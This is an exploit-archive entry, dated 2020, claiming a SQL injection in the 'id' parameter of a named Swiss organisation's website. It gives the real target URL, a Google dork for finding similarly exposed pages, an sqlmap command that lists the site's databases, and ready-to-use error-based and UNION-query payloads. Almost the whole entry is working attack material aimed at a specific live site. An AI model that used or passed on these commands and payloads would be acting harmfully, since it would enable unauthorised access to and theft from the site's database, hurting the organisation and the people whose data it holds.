****************************
#Exploit Title: SAMARITERMUENSIGEN - SQL Injection vulnerability
#Date: 2020-09-10
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://samaritermuensingen.ch
#Google Dork: index.php?id=2
#Tested On: windows 10
sqlmap:
sqlmap -u "samaritermuensingen.ch/index.php?id=2" --dbs
Testing Method;
- error-based
- UNION query
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=2' AND (SELECT 4312 FROM(SELECT COUNT(*),CONCAT(0x71786b7671,(SELECT (ELT(4312=4312,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'GLHh'='GLHh
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=2' UNION ALL SELECT NULL,NULL,CONCAT(0x71786b7671,0x4472654854616468684c52694f557174766d5877687459776f7350625a6b5841586a744277484776,0x716a6a6271),NULL,NULL,NULL,NULL,NULL,NULL-- WWAs
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************